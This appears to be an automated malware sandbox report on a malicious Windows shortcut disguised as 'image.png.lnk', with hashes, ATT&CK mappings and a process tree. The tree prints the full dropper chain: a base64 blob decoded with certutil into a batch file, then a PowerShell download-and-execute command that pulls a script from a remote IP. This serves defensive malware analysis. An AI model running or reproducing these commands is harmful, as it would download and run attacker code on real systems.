0e2b29973fbce6a60ac749fc53d6dd4d5331631826f57509ededeade157df35a

Analysis

max time kernel
148s
max time network
128s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/10/2026, 06:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
image.png.lnk
Size 2KB
Sample261030-g41gwsbs8l
SHA256 0e2b29973fbce6a60ac749fc53d6dd4d5331631826f57509ededeade157df35a
MD5 d9bbb834e4441fc01705517a712edcae
SHA1 b15a6cf3b697c1e9066bcf09bfefe1fb5d875fe6
SHA512 c5c87e908d48e21d2c445e681664fcdbc9f07d52e45879ee9b32f866747cdba40c791fcc89447cb64afe1551446b8e9e0ed6da99ddbf6323e2cc1a27ded3a0cd
TLSH
T18751EB1427D90624C7B28E77B8B6A2859E67F813F6618A2D10C0838D9C86A40EC21F3B
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://191.217.210.94/ytrgqw

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	3956	powershell.exe
6	3956	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3956	powershell.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
5020	cmd.exe
1244	certutil.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5948	cmd.exe
5572	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3956	powershell.exe
3956	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3956	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5948 wrote to memory of 5020	5948	cmd.exe	90
PID 5020 wrote to memory of 1244	5020	cmd.exe	91
PID 5020 wrote to memory of 5572	5020	cmd.exe	92
PID 5572 wrote to memory of 3956	5572	cmd.exe	94

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\image.png.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c @echo off&echo QGVjaG8gb2ZmDQpwb3dlcnNoZWxsIC1lcCBieXBhc3MgLWMgImlleChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTkxLjIxNy4yMTAuOTQveXRyZ3F3JykiDQooZ290bykgMj5udWwgJiBkZWwgIiV+ZjAiDQo=>C:\Users\Public\htumm.b64&(certutil -f -decode C:\Users\Public\htumm.b64 C:\Users\Public\htumm.cmd >nul 2>nul)&start /min C:\Users\Public\htumm.cmd&del /q C:\Users\Public\htumm.b64 >nul 2>nul
  2⤵
  - Deobfuscate/Decode Files or Information
  - Suspicious use of WriteProcessMemory
  PID:5020
- - C:\Windows\system32\certutil.exe
    certutil -f -decode C:\Users\Public\htumm.b64 C:\Users\Public\htumm.cmd
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K C:\Users\Public\htumm.cmd
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5572
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "iex(New-Object Net.WebClient).DownloadString('http://191.217.210.94/ytrgqw')"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3956

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

htumm.b64

Path C:\Users\Public\htumm.b64
Size 194B
SHA256 aa013b29e8f1af25aab1adce55669a909dd8ffdaa12d4d88ad38748153c82316
MD5 a152b6806372fc536e754ad540f8fbcd
SHA1 05cc2161720d959b4ec57d42a928dec673a9cc43
SHA512 ab1e44a48c8d371cc5853b31e3a842777f86d720b096f1b83c7e9d2d2c421304ef799a86f25ab325e9b7c99911895f8ff8f5b99b7b086737626985ec3830e500
TLSH
T1ABC02342EC57380F50E8413041401CD5B147D4D41C3487C1425057A40C4175CB502168
MD5 SHA1 SHA512 TLSH

Submit Download

htumm.cmd

Path C:\Users\Public\htumm.cmd
Size 143B
SHA256 00e46620afb3c97dc4d32ad0a31e6f5d953df3cc1f63072af83c2df563c63e22
MD5 c7589d0fde4baad431ee04f5d0688e8f
SHA1 fd41aa43b05da6494bc05ad6c87edb402276efdb
SHA512 75c3a71c65d43953694b18b90580e77d30d4b124f7bc568bbb74d97fa026f6de579da97552279737541b248355487ca6be222f5ff6c982f16f7e75654f2b6208
TLSH
T1DBC02B0D9042F49C6C014DC2C9FEC811D21F1AE302F1F9D0D36F85244C90468E34D19B
MD5 SHA1 SHA512 TLSH